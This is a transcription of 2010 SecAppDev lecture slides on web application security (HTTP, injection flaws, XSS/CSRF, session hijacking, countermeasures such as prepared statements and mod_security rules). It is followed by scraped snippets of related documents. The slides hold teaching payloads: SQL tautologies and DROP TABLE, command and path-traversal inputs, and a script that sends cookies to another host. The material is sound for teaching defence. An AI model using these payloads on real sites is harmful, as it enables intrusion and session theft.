Web Application Security. Secure Application Development (SecAppDev) February 2010 (Leuven, Belgium) Lieven Desmet
|
|
|
- Kevin York
- 8 years ago
- Views:
Transcription
1 Web Application Security Secure Application Development (SecAppDev) February 2010 (Leuven, Belgium) Lieven Desmet About myself Research manager of the Research hgroup Active participation in OWASP: Board member of the OWASP Belgium chapter Co organizer of the academic track on OWASP AppSec Europe Conference 2 1
2 OWASP Open Web Application Security Project free and open community focus on improving the security of application software Many interesting projects Tools: WebGoat, WebScarab, AntiSamy, Pantera, Documentation: Top 10, CLASP, Testing guide, Code review, 158 local chapters worldwide 3 Overview Introduction to web applications Overview of web application vulnerabilities Overview of countermeasures 4 2
3 Introduction to web applications 5 Hypertext Transfer Protocol (HTTP) Hypertext Transfer Protocol Application layer communication protocol Commonly used on the WWW Different methods of operation: HEAD GET TRACE OPTIONS POST PUT CONNECT Safe methods, shouldn t change server state HEAD, GET and POST are the most commonly used methods 6 3
4 HTTP request/response model HTTP uses a bidirectional request/response communication model Request: GET /x/y/z/page.html HTTP/1.0 Response: Status code Protocol version 200 HTTP/1.0 OK Content Type: text/html Content Length: 22 <HTML>Some data</html> 7 HTTP Request Request header: Contains the request and additional meta information The HTTP method, requested URL andprotocol version Negotiation information about language, character set, encoding, Content language, type, length, encoding, Authentication credentials Web browser information (User Agent) Referring web page (Referer) Request body Contains additional data Input parameters in case of a POST request Submitted data in case of a PUT request 8 4
5 HTTP Request examples GET /info.php?name=lieven HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; Linux) Accept: text/*, image/jpeg, image/png, image/*, */* Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity Accept-Charset: iso , utf-8;q=0.5, *;q=0.5 Accept-Language: en Host: POST /login.jsp HTTP/1.1 Host: User-Agent: Mozilla/4.0 Content-Length: 29 Content-Type: application/x-www-form-urlencoded userid=lieven&password=7ry!m3 9 POST vs GET POST Input parameters are encoded in the body of the request GET Input parameters are encoded in the URL of the request GET requests shouldn t change server state Keep in mind! that parameters encoded in URLs might also pop up in server logs and referers! 10 5
6 HTTP Response Response header: Contains the reponse status code and additional meta information The protocol version and status code Content language, type, length, encoding, lastmodified, Redirect information Response body Contains the requested data 11 HTTP Response example Header HTTP/ OK Date: Tue, 26 Feb :53:49 GMT Server: Apache Accept-Ranges: bytes Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso Body <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" " <HTML> <HEAD>
7 HTTP status codes Status codes: 1xx: informational 2xx: success 3xx: redirection 4xx: client error 5xx: server error 13 Cookies Cookies are used to differentiate users maintaina a small portion of state between several HTTP requests to the same web application Typically used for: User session management User preferences User tracking Procedure: Cookies are created on the server and are stored on the client side Cookies corresponding to a particular web application are attached to all request to that application Server sends cookies back to the browser with each response 14 7
8 Cookies example HTTP/ OK Cookie set by the server Date: Tue, 26 Feb :19:37 GMT Set-Cookie: JSESSIONID=621FAD2E27C36B3785DF8EE47DA73109; Path=/somepath Content-Type: text/html;charset=iso <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" GET /somepath/index.jsp HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; Linux) Accept: text/*, image/jpeg, image/png, image/*, */* Accept-Encoding: Sent together x-gzip, x-deflate, with gzip, the deflate, request identity Accept-Charset: iso , utf-8;q=0.5, *;q=0.5 Accept-Language: en Host: Cookie: JSESSIONID=621FAD2E27C36B3785DF8EE47DA HTTP basic access authentication HTTP provides several techniques to provide credentials while sending requests HTTP Basic access authentication: Uses a base64 encoding of the pair username:password Credentials are inserted in the HTTP header Authorization Example: GET /private/index.html HTTP/1.0 Host: localhost Authorization: Basic bglldmvuojdyesftmw== Base64 decoded: lieven:7ry!m3 16 8
9 HTTP basic access authentication 17 WEB 2.0 DHMTL: Interactive and dynamic sites Set of technologies: HTML Client side scripting (e.g. javascript) Cascading Style Sheets (CSS) Document Object Model (DOM) 18 Even introducing more interaction: AJAX! 9
10 AJAX Asynchronuous Javascript And XML Development techniques for creating interactive web applications Interaction between client and server occurs behind the scene Small amount of data are exchanged Parts of the web page are dynamically updated instead of reload the whole page Data is retrieved by using the XMLHttpRequest object in javascript 19 Small AJAX example <html> <body> <form name= textform > Input: <input type= text onkeyup= doserverlookup(); name= input /> </form> <p>output: <span id= output ></span></p> </body> </html> 20 10
11 Small AJAX example <script type="text/javascript"> function doserverlookup() { var xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if(xmlhttp.readystate==4) { document.getelementbyid("output").innerhtml = xmlhttp.responsetext; } } xmlhttp.open("get","ajax-example-time.jsp",true); xmlhttp.send(null); } </script> 21 Overview of web application vulnerabilities 22 11
12 Web Application Vulnerabilities Code injection vulnerabilities Broken authentication and session management 23 Injection vulnerabilities All command injection vulnerabilities describe a similar pattern: Use of unvalidated user input: - Request parameters (e.g. form field) - Cookies (both key and value) - Request headers (e.g. preferred language, referrer, authenticated user, browser identification, ) In client side or server side processing: - Command execution - SQL injection - XPath injection - Script injection
13 Command injection Vulnerability description: The command string, executed in server side code, contains unvalidated user input Possible impact: User can execute arbitrary code under the privileges of the web server Varieties: Output of manipulated command execution is displayed to client Blind command injection 25 Command injection example Server side code displays content of requested file (e.g. man page) // Servlet showing content of a file String filename = request.getparameter("filename"); Process process = Runtime.getRuntime().exec("cmd.exe /c type " + filename); InputStream inputstream = process.getinputstream(); int c; while ((c = inputstream.read())!= -1) { out.write(c); (); } Attacker can trigger command execution: Filename: text.txt & arbitrary command 26 13
14 Command injection example (2) 27 Delimiters and countermeasures Common command delimiters: Windows: &, Linux: ;,, &&, ${IFS}, $(command), `command`, Countermeasures: Validate user provided input Limit number of OS exec calls e.g. use API calls instead Use of escape functions E.g. escapeshellarg in PHP 28 14
15 Be aware of canonicalization! Both browser and web server interpret strings in many different ways Different character encodings, character sets, Unspecified parsing behavior of browser or web server Makes it very difficult to validate user input based on a negative security model What about: - basedir/../../../../etc/passwd / / / / / d (i.e. path traversal) - 比 利 时 - <sc ript> - +ADw script+ad4 alert( alert );+ADw /script+ad4 29 SQL injection Vulnerability description: The SQL query string, executed in server side code, contains unvalidated d user input Possible impact: User can execute arbitrary SQL queries under the privileges of the web server, leading to: Leaking data from the database Inserting, modifying or deleting data Varieties: Output of manipulated SQL query displayed to client Blind SQL injection 30 15
16 SQL injection example Server side code checking user credentials // Servlet checking login credentials String username = request.getparameter("username"); String password = request.getparameter("password"); Connection connection = null; Statement stmt = connection.createstatement(); stmt.execute("select * FROM USERS WHERE USERNAME = '" + username + "' AND PASSWORD = '" + password + "'"); ResultSet rs = stmt.getresultset(); if (rs.next()) { out.println("successfully logged in!"); } User: lieven Password: test OR 1 = 1 31 Attacker can modify SQL query: SQL injection example (2) Original query: SELECT * FROM USERS WHERE USERNAME = login AND PASSWORD = 'password Query after injection of test OR 1 = 1 as password: SELECT * FROM USERS WHERE USERNAME = lieven AND PASSWORD = test OR 1 = 1 Which always returns a result set! 32 16
17 Different types of SQL injection Tautologies: String SQL Injection: test OR 1 = 1 Numeric SQL Injection: 107 OR 1 = 1 Union queries: test UNION SELECT pwd FROM users WHERE login= admin Piggy backed queries: a ; DROP TABLE users; 33 Naïve countermeasures Soyou strip all single quotes from your parameters? Of course, nobody would call his child Robert ); DROP TABLE Students; But what about: Mc'Enzie, O Kane, D Hondt,? 17
18 Countermeasures Use of prepared statements Statement has placeholders for parameters User input is bound to a parameter String prepstmtstring = SELECT * FROM USERS WHERE ID =? ; PreparedStatement prepstmt = conn.preparestatement(prepstmtstring ); prepstmt.setstring(1, pwd); SQL escape functions E.g. mysql_real_escape_string() l in PHP Taint analysis: User input is tainted Tainted data is prevented to alter SQL query 35 XPath injection Also other query languages might be vulnerable to injection, e.g. XPath injection XPath is used to select nodes in XML documents (e.g. in AJAX) String username = request.getparameter( username ); String password = request.getparameter( password ); String xpathstring = //user[username/text()= + username + and password/text()= + password + ], NodeList results = XPathAPI.selectNodeList(doc, tn t(d xpathstring, root); Attacker can modify XPath query: User: lieven OR 1 = 1 Password: test OR 1 =
19 Script injection (XSS) Many synonyms: Script injection, Code injection, Cross Site Scripting g( (XSS), Vulnerability description: Injection of HTML and client side scripts into the server output, viewed by a client Possible impact: Execute arbitrary scripts in the victim s browser 37 Simple XSS example 38 19
20 Different types of script injection Reflected or non persistent XSS Stored or persistent or second order XSS Cross Site Tracing (XST) Cross Site Request Forgery (XSRF) Cross Site Script Inclusion (XSSI) 39 Reflected or non persistent XSS Link to vulnerable server (with script as input parameter) Attacker Victim Http request containing script as input parameter Vulnerable server Http response containing script as part of executable content 40 20
21 Reflected or non persistent XSS Description: Users is tricked in sending malicious data (i.e. client side script) to the server: - Crafted link in an /im (e.g. dancing pigs) - The vulnerable server reflects the input into the output, e.g.: - Results of a search - Part of an error message - The malicious data (i.e. client side script) in the output is executed in the client within the domain of the vulnerable server 41 Reflected XSS example <! some HTML in a mai --> <a href= > p p <blink><strong>dancing PIGS!!!!! </strong></blink></a> 42 21
22 Stored or persistent XSS D HTTP request injecting a script into the persistent storage of the vulnerable server Attacker HTTP response D Regular http request Vulnerable server Victim Http response containing script as part of executable content 43 Impact of reflected or stored XSS An attacker can run arbitrary script in the origin ii domain of the vulnerable website bit Example: steal the cookies of forum users <script> new Image().src=" </script> + encodeuri(document.cookie); 44 22
23 Cross Site Request Forgery (CSRF) Synonyms: one click attack, session riding, CSRF, Description: web application is vulnerable for injection of links or scripts injected links or scripts trigger unauthorized requests from the victim s browser to remote websites the requests are trusted by the remote websites since they behave bh as legitimate t requests from the victim iti 45 XSS vs XSRF XSS injection of unauthorized code into a website XSRF forgery of unauthorized requests from a user trusted by the remote server 46 23
24 CSRF example HTTP request injecting a script Attacker D into the persistent storage of the vulnerable server HTTP response Regular http request D Vulnerable server Http response containing script as part of executable content Unauthorized HTTP request Victim Targeted server HTTP response 47 XSS/XSRF countermeasures Input and output validation Character escaping/encoding (<, >,, &,, ) Filtering based on white lists and regular expressions HTML cleanup and filtering libraries: AntiSamy, HTML Tidy, Tit Taint analysis Browser plugins E.g. NoScript for Gecko based browsers 48 24
25 CSRF countermeasures (2) Additional application level authentication To protect users from sending unauthorized requests via XSRF using cached credentials End user has to authorize request explicitly Action Token framework Distinguish genuine requests by hiding a secret, one time token in web forms Only forms generated by the targeted server contain a correct token Because of the same origin policy, other origin domains can t inspect the web form 49 Web Application Vulnerabilities Code injection vulnerabilities Broken authentication and session management 50 25
26 Access Control and Session Management Session hijacking Bypassing access control 51 Session Management Need for session management HTTP is stateless protocol User sessions are identified upon the HTTP protocol to track user state E.g. personal shopping cart Session identifiers Client and server share a unique session identifier for each session (Non )persistent user state is stored on the server under the unique session id 52 26
27 Web Sessions Different techniques to achieve sessions MAC(source _p port,source _ ip,user agent,, referer, ) Hidden form field URL rewriting Cookies Most web technologies and application servers supportsession session management Tracking user state via session ids Server side code can easily store and retrieve session specific state 53 Session Hijacking Description Malicious user is able to take over another user s session Malicious user can operate on behalf of another user Different possible vulnerabilities: Session IDs can be guessed Session IDs can be stolen Session IDs can be enforced 54 27
28 Weak Session IDs Vulnerability often occurs when an own session management layer is implemented Session ids are calculate based on sequence, date, time, source, Countermeasure Use the application server session management functionality Most application servers already passed the stage of having weak session ids Same vulnerability reoccurs again in web services 55 Stolen Session IDs Session ids can be stolen By cross site scripting (XSS) Using unsecured communication (http instead of https) Session IDs are exposed via URL rewriting Reoccur in the logs, referer, Countermeasure Additional check on session ids (e.g. source ip, source port, user agent, ) Additional application level authentication per authorized request Provide logout and time out functionality 56 28
29 Enforcing Session IDs Sites sometimes reuse session IDs from previous session Attacker can then trick another user is using a predefined session, and take over the session later on Countermeasure Use the application server session management functionality Additional check on session ids (e.g. source ip, source port, user agent, ) Additional application level authentication per authorized request Provide logout and time out functionality 57 Access Control Description: Restriction of user s actions based on an accesscontrol control policy Access restriction for both unauthenticated and authenticated users Access control can occur on several places: Network Web Server Application i Server Presentation Layer Business Layer Data Layer 58 29
30 Bypassing Presentation Layer Access Control Description: Some links or URLs are hidden to the end user Access control is actually not enforced Presentation layer does not restrict what the user can do Users can manipulate URLs directly Users can edit/manipulate page source, clientside scripts, requests, responses, 59 Bypassing Business Layer Access Control Description The access control implementation does not reflect the access control policy Users can circumvent the policy due to flaws in the implementation Countermeasure Clearly design and implement the access control policy, preferable in a separate module than is easy to audit Rely onthe container based basedauthenticationandauthentication and authorization schemes if applicable Use a defense in depth strategy by combining container level and application level access control 60 30
31 Bypassing Access Restricted Workflow Description Access control is in place to grant authenticated users access to protected resource User has the role of developer User agrees with EULA User completed purchase Flow is not enforced, users can also directly access the protected resources Countermeasure Not only enforce access control on web pages, but also on resources Rely on the container based authentication and authorization schemes if applicable 61 Overview of countermeasures 62 31
32 Countermeasures Secure your application Security principles Defensive coding practices Supporting security libraries and frameworks Static and dynamic analysis Secure your infrastructure Secure your server Web application Firewalls Secure your browser 63 Apply security principles Use a sound security policy as foundation for your design Don t trust others, don t trust user input Apply defense in depth / layered security Keep it simple Avoid security by obscurity 64 32
33 Apply security principles (2) Use least privilege Compartmentalize Check at the gate Reduce the attack surface Detect and log intrusions Fail securely 65 Defensive coding practices Validate user input/server output Positive security model - Whitelist filtering - Use of regular expressions Negative security model - Filter out known bad inputs Sanitize user input/server ouput Use appropriate escape functions - E.g. mysql_real_escape_string() in PHP Use specialized security libraries - E.g. anti samy 66 33
34 Defensive coding practices (2) Use prepared statements Limit number of OS execs Don t reinvent or improve sessions IDs, crypto, unless you re an expert Avoid unsafe languages g or language g constructs 67 Supporting security libraries OWASP Antisamy Validation of rich HTML/CSS user input from Protection against cross site scripting Policy policy = Policy.getInstance( /some/path/to/policy ); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(request.getparameter( input"), policy); String filteredinput = cr.getcleanhtml(); 68 34
35 Supporting security libraries (2) New Query development paradigms Construct queries as first class entities Verify structure integrity before executing E.g. SQL DOM, Safe Query Objects, SQLDOM4J SelectQuery query = new SelectQuery(conn, DB.Table.MEMBERS).select(DB.MEMBERS.ID,DB.MEMBERS.LOGIN).orderBy(DB.MEMBERS.ID, OrderBy.ASC).whereEquals(DB.MEMBERS.AGE, 40); PreparedStatement ps = query.getpreparedstatement(); 69 Supporting application frameworks Struts Provides client side and server side side input validation <validators> <field name=" _address"> <field-validator type="required"> <message>you cannot leave the address field empty.</message> </field-validator> <field-validator type=" "> <message>the address you entered is not valid.</message> </field-validator> </field> <field name="bar"> <field-validator type="regex"> <param name="expression">[0-9],[0-9]</param> <message>the value of bar must be in the format "x, y"</message> </field-validator> </field> 70 </validators> 35
36 Supporting application containers Java web container support Container based authentication i Role based access control <security-constraint> <web-resource-collection> <url-pattern>/admin/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>basic</auth-method> <realm-name>administration Section</realm-name> </login-config> 71 Static code analysis Analyze code offline E.g. FindBugs, RATS, Flawfinder, FxCop, Fortify SCA, Coverity, Ounce Labs, Rule Engine: Unsafe functions Information flow analysis Information flow analysis Sources: user input Sinks: security critical operations (e.g. SQL query execution) Goal: check if user input is validated on all possible paths from sources to sinks 72 36
37 Fortify Source Code Analyzer 73 Taint analysis Concept User input is risky, and therefore tainted If a tainted variable is used in expressions, then the result is also tainted Each security relevant operation, the tainting of variables is checked Input validation/sanitation can remove a taint Examples Tainting in perl and ruby Static and Dynamic taint analysis in web application frameworks 74 37
38 Countermeasures Secure your application Security principles Defensive coding practices Supporting security libraries and frameworks Static and dynamic analysis Secure your infrastructure Secure your server Web application Firewalls Secure your browser 75 Secure your server Secure your application environment E.g. Security Manager in Tomcat, PHP Safe Mode, Restricts the privileges of the web application Opening of network sockets Execution of programs Reading/writing of files Configure your web server Limit the HTTP methods Restrict the server functionality 76 38
39 Web Application Firewall (WAF) Application level firewall, operating on http Different operation modes: As a stand alone proxy between client and server Embedded into the webserver 77 Web Application Firewall Normalizes input and output Enforces positive/negative security model Positive security model configured manually built automatically by observing legitimate network traffic. Negative security model Based on signatures or rule sets Provides logging and monitoring 78 39
40 Mod_security Open source web application firewall Embedded in Apache web server Provides a core rule set Generic rules to protect web applications Provides some server security directives Jailing an application (chroot) Logging of requests (header+body) Allows application specific rules 79 Mod_security core rule set Mod_security configuration rules File upload options Auditing/logging options Mod_security protocol rules HTTP protocol violations and anomalies Allowed parameter/file encodings Allowed content encodings Allowe Http protocols 80 40
41 Mod_security core rule set (2) Mod_security generic attack rules Session fixation Blind SQL injection SQL injection XSS File injection Command injection Request/response splitting Information leakage 81 Mod_security core rule example injection Protects against injection i an additional i to or (b)cc header line, if the input is used to send out a mail Variable Operator SecRule REQUEST_FILENAME ARGS ARGS_NAMES "[\n\r]\s*\b(?:to b?cc)\b\s*:.*?\@" \ "phase:2,t:none,t:htmlentitydecode,t:lowercase,capture,ctl:auditlogparts=+e,log, auditlog,msg: msg:' Injection Attack',id: id:'950019',logdata: logdata:'%{tx.0} 0}',severity: severity:'2' Action SecRule REQUEST_HEADERS XML:/* "[\n\r]\s*\b(?:to b?cc)\b\s*:.*?\@" \ "phase:2,t:none,t:urldecode,t:htmlentitydecode,t:lowercase,capture, auditlog,msg:' Injection Attack',id:'959019',logdata:'%{TX.0}',severity:'2'" 82 41
42 Application specific rules SecRule 10, 13, \ log,deny,msg: Non-printable chars SecRule ARGS:text script \ log,t:urldecodeuni,t:htmlentitydecode,t:compresswhitespace,t:lowercase, deny,msg: possible XSS 83 Countermeasures Secure your application Security principles Defensive coding practices Supporting security libraries and frameworks Static and dynamic analysis Secure your infrastructure Secure your server Web application Firewalls Secure your browser 84 42
43 Securing the browser Browser features Phishing and malware protection in FF, IE, Opera Cross domain barriers Opt in for plugins/activex/ Improved SSL certificate checking Browser plugins E.g. noscript Disables client side scripts unless approved 85 43
Web Application Security
Web Application Security Secure Application Development (SecAppDev) March 2009 (Leuven, Belgium) Lieven Desmet Lieven.Desmet@cs.kuleuven.be http://www.cs.kuleuven.be/~lieven/ About myself Post-doc researcher
Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh
Web applications Web security: web basics Myrto Arapinis School of Informatics University of Edinburgh HTTP March 19, 2015 Client Server Database (HTML, JavaScript) (PHP) (SQL) 1 / 24 2 / 24 URLs HTTP
Cyber Security Workshop Ethical Web Hacking
Cyber Security Workshop Ethical Web Hacking May 2015 Setting up WebGoat and Burp Suite Hacking Challenges in WebGoat Concepts in Web Technologies and Ethical Hacking 1 P a g e Downloading WebGoat and Burp
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
Web application security
Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010 (non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0
(WAPT) Web Application Penetration Testing
(WAPT) Web Application Penetration Testing Module 0: Introduction 1. Introduction to the course. 2. How to get most out of the course 3. Resources you will need for the course 4. What is WAPT? Module 1:
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1 Web Applications What has changed with web applications? Traditional applications
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
reference: HTTP: The Definitive Guide by David Gourley and Brian Totty (O Reilly, 2002)
1 cse879-03 2010-03-29 17:23 Kyung-Goo Doh Chapter 3. Web Application Technologies reference: HTTP: The Definitive Guide by David Gourley and Brian Totty (O Reilly, 2002) 1. The HTTP Protocol. HTTP = HyperText
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
Implementation of Web Application Firewall
Implementation of Web Application Firewall OuTian 1 Introduction Abstract Web 層 應 用 程 式 之 攻 擊 日 趨 嚴 重, 而 國 內 多 數 企 業 仍 不 知 該 如 何 以 資 安 設 備 阻 擋, 仍 在 採 購 傳 統 的 Firewall/IPS,
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair dave.wichers@owasp.org COO, Aspect Security dave.wichers@aspectsecurity.com Copyright 2007 - The Foundation This work is available
FINAL DoIT 11.03.2015 - v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES
Purpose: The Department of Information Technology (DoIT) is committed to developing secure applications. DoIT s System Development Methodology (SDM) and Application Development requirements ensure that
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security Presented 2009-05-29 by David Strauss Thinking Securely Security is a process, not
What is Web Security? Motivation
brucker@inf.ethz.ch http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
An Introduction to Application Security in J2EE Environments
An Introduction to Application Security in J2EE Environments Dan Cornell Denim Group, Ltd. www.denimgroup.com Overview Background What is Application Security and Why is It Important? Specific Reference
Lecture 11 Web Application Security (part 1)
Lecture 11 Web Application Security (part 1) Computer and Network Security 4th of January 2016 Computer Science and Engineering Department CSE Dep, ACS, UPB Lecture 11, Web Application Security (part 1)
Last update: February 23, 2004
Last update: February 23, 2004 Web Security Glossary The Web Security Glossary is an alphabetical index of terms and terminology relating to web application security. The purpose of the Glossary is to
Playing with Web Application Firewalls
Playing with Web Application Firewalls DEFCON 16, August 8-10, 2008, Las Vegas, NV, USA Who is Wendel Guglielmetti Henrique? Penetration Test analyst at SecurityLabs - Intruders Tiger Team Security division
State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell
Stanford Computer Security Lab State of The Art: Automated Black Box Web Application Vulnerability Testing, Elie Bursztein, Divij Gupta, John Mitchell Background Web Application Vulnerability Protection
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
Intrusion detection for web applications
Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities
Web. Services. Web Technologies. Today. Web. Technologies. Internet WWW. Protocols TCP/IP HTTP. Apache. Next Time. Lecture #3 2008 3 Apache.
JSP, and JSP, and JSP, and 1 2 Lecture #3 2008 3 JSP, and JSP, and Markup & presentation (HTML, XHTML, CSS etc) Data storage & access (JDBC, XML etc) Network & application protocols (, etc) Programming
Still Aren't Doing. Frank Kim
Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca)
Bug Report Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca) Software: Kimai Version: 0.9.1.1205 Website: http://www.kimai.org Description: Kimai is a web based time-tracking application.
Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008
Detecting Web Application Vulnerabilities Using Open Source Means OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008 Kostas Papapanagiotou Committee Member OWASP Greek Chapter conpap@owasp.gr
3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management
What is an? s Ten Most Critical Web Application Security Vulnerabilities Anthony LAI, CISSP, CISA Chapter Leader (Hong Kong) anthonylai@owasp.org Open Web Application Security Project http://www.owasp.org
Web Application Security Assessment and Vulnerability Mitigation Tests
White paper BMC Remedy Action Request System 7.6.04 Web Application Security Assessment and Vulnerability Mitigation Tests January 2011 www.bmc.com Contacting BMC Software You can access the BMC Software
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions jburroughs@uk.ibm.com Agenda Current State of Web Application Security Understanding
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet
Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet March 8, 2012 Stephen Kost Chief Technology Officer Integrigy Corporation Phil Reimann Director of Business Development
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications
1. Introduction 2. Web Application 3. Components 4. Common Vulnerabilities 5. Improving security in Web applications 2 What does World Wide Web security mean? Webmasters=> confidence that their site won
Magento Security and Vulnerabilities. Roman Stepanov
Magento Security and Vulnerabilities Roman Stepanov http://ice.eltrino.com/ Table of contents Introduction Open Web Application Security Project OWASP TOP 10 List Common issues in Magento A1 Injection
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY www.alliancetechpartners.com WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY More than 70% of all websites have vulnerabilities
Essential IT Security Testing
Essential IT Security Testing Application Security Testing for System Testers By Andrew Muller Director of Ionize Who is this guy? IT Security consultant to the stars Member of OWASP Member of IT-012-04
Sichere Software- Entwicklung für Java Entwickler
Sichere Software- Entwicklung für Java Entwickler Dominik Schadow Senior Consultant Trivadis GmbH 05/09/2012 BASEL BERN LAUSANNE ZÜRICH DÜSSELDORF FRANKFURT A.M. FREIBURG I.BR. HAMBURG MÜNCHEN STUTTGART
Hypertext for Hyper Techs
Hypertext for Hyper Techs An Introduction to HTTP for SecPros Bio Josh Little, GSEC ~14 years in IT. Support, Server/Storage Admin, Webmaster, Web App Dev, Networking, VoIP, Projects, Security. Currently
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
Introduction to Computer Security
Introduction to Computer Security Web Application Security Pavel Laskov Wilhelm Schickard Institute for Computer Science Modern threat landscape The majority of modern vulnerabilities are found in web
ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus
ASP.NET MVC Secure Coding 4-Day hands on Course Course Syllabus Course description ASP.NET MVC Secure Coding 4-Day hands on Course Secure programming is the best defense against hackers. This multilayered
Sitefinity Security and Best Practices
Sitefinity Security and Best Practices Table of Contents Overview The Ten Most Critical Web Application Security Risks Injection Cross-Site-Scripting (XSS) Broken Authentication and Session Management
THE PROXY SERVER 1 1 PURPOSE 3 2 USAGE EXAMPLES 4 3 STARTING THE PROXY SERVER 5 4 READING THE LOG 6
The Proxy Server THE PROXY SERVER 1 1 PURPOSE 3 2 USAGE EXAMPLES 4 3 STARTING THE PROXY SERVER 5 4 READING THE LOG 6 2 1 Purpose The proxy server acts as an intermediate server that relays requests between
Web-Application Security
Web-Application Security Kristian Beilke Arbeitsgruppe Sichere Identität Fachbereich Mathematik und Informatik Freie Universität Berlin 29. Juni 2011 Overview Web Applications SQL Injection XSS Bad Practice
Hack Yourself First. Troy Hunt @troyhunt troyhunt.com troyhunt@hotmail.com
